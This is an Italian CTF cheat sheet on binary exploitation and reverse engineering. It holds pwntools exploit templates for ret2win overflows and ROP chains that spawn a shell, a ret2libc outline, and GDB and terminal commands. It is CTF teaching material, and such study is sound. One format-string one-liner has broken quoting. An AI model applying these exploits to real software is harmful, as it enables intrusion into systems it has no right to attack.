

CTF PWN & REV

Questo documento delinea il workflow, i comandi essenziali e le tecniche di exploitation per affrontare sfide di Binary Exploitation (Pwn) e Reverse Engineering (Rev).

1. Workflow di Analisi (Standard Operating Procedure)

Seguire una metodologia evita di perdere tempo su falsi positivi.

Fase 1: Identificazione e Protezioni (Recon)

Prima di eseguire il file, analizza la sua "corazza".

- **Comando:** `file <binary>` (Controlla se è 32/64 bit, statico o dinamico, stripped o no).
- **Comando:** `checksec --file=<binary>` (Verifica NX, Canary, PIE, RELRO).

Fase 2: Analisi Statica (Reverse Engineering)

Capire la logica senza eseguire il codice.

- **Strumenti:** Ghidra, IDA Pro o Binary Ninja.
- **Obiettivo:** Trovare la funzione `main` e cercare vulnerabilità evidenti come `gets()`, `scanf("%s")`, o chiamate a `system()` sospette.

Fase 3: Analisi Dinamica (Debugging)

Osservare il comportamento in tempo reale.

- **Strumenti:** GDB con plugin `GEF` o `Pwndbg`.
- **Obiettivo:** Trovare l'offset esatto del crash e mappare gli indirizzi di memoria (stack, libc, heap).

Fase 4: Sviluppo Exploit

- **Strumento:** Python con libreria `pwntools`.
 - **Obiettivo:** Creare uno script che automatizzi l'invio del payload e la cattura della flag.
-

2. Metodi di Exploitation: Esempi Pratici

A. Buffer Overflow (Ret2Win)

Si usa quando esiste già una funzione "vincente" nel codice che stampa la flag, ma non viene mai chiamata.

Esempio di exploit:

```
from pwn import *

p = process('./challenge')
elf = ELF('./challenge')

# 1. Calcola l'offset tramite 'pwn cyclic' (es. 40)
offset = 40
# 2. Ottieni l'indirizzo della funzione win()
win_addr = elf.symbols['win']

payload = b"A" * offset
payload += p64(win_addr) # Sovrascrive l'Instruction Pointer (RIP)

p.sendline(payload)
p.interactive()
```

B. ROP (Return Oriented Programming)

Si usa quando **NX** è attivo e non puoi eseguire codice sullo stack. Devi "saltare" su pezzi di codice esistenti (**gadget**).

Obiettivo: Chiamare `system("/bin/sh")`

```
from pwn import *

p = process('./challenge')
elf = ELF('./challenge')
rop = ROP(elf)

# Cerca automaticamente i gadget necessari (pop rdi; ret)
# e costruisce la catena per chiamare system()
bin_sh = next(elf.search(b"/bin/sh"))
rop.system(bin_sh)

payload = b"A" * 40 + rop.chain()
p.sendline(payload)
p.interactive()
```

C. Ret2Libc (Bypass ASLR)

Si usa quando **ASLR** è attivo e gli indirizzi della memoria cambiano a ogni avvio. Devi "leakare" un indirizzo.

1. **Leak:** Fai stampare al programma l'indirizzo di una funzione nota (es. `puts@got`).
 2. **Calcolo:** Calcola la base della libc: $\text{Base} = \text{IndirizzoLeak} - \text{OffsetFunzione}$.
 3. **Exploit:** Usa la base per trovare `system` e `/bin/sh`.
-

3. Il "Listone" dei Comandi Utili

Strumenti da Terminale

Comando	Descrizione
<code>strings -t x <file></code>	Mostra stringhe e i loro offset in esadecimale.
<code>nm -D <file></code>	Elenca i simboli (funzioni) del binario.
<code>ldd <file></code>	Mostra quali librerie (libc) usa il programma.
<code>ROPgadget --binary <file> grep "pop rdi"</code>	Cerca il gadget più importante per x64.
<code>one_gadget /lib/x86_64-linux-gnu/libc.so.6</code>	Trova indirizzi magici che aprono una shell con un salto.

All'interno di GDB (con GEF/Pwndbg)

- `pattern create 100`: Crea una stringa speciale per trovare l'offset.
 - `pattern search $rsp`: Trova l'offset dopo il crash.
 - `vmmap`: Mostra i permessi delle zone di memoria (fondamentale per capire se lo stack è eseguibile).
 - `x/20gx $rsp`: Esamina i primi 20 valori (8 byte) nello stack.
 - `p &system`: Stampa l'indirizzo di una funzione.
-

4. Trick e Linee Guida Generali

1. **Allineamento Stack (x64):** Se il tuo exploit crasha su una istruzione `movaps`, lo stack non è allineato a 16 byte. **Soluzione:** Aggiungi un gadget `ret` extra all'inizio della tua ROP chain.

2. **Pwninit:** Se la sfida ti fornisce una `libc.so.6` e un `ld.so`, usa il tool `pwninit` per patchare il binario. Eviterà che il programma crashi perché usa la libc del tuo sistema invece di quella della sfida.
 3. **Calcolo Offset:** Non indovinare. Usa sempre `pwn cyclic` e `pwn cyclic -l <valore_crash>`.
 4. **Format Strings:** Se hai una vulnerabilità `printf(buffer)`, usa `%p` per leggere lo stack e `%n` per scriverci.
 - `python3 -c "print('%p.*10)" | ./challenge` è il modo più veloce per testare un leak.
-

5. Risorse Utili per l'Apprendimento

- [CTF 101](#): Basi teoriche.
- [Pwn.college](#): Corso completo e gratuito.
- [HackTricks](#): La "bibbia" per ogni tipo di exploit.
- [Shell-Storm](#): Shellcodes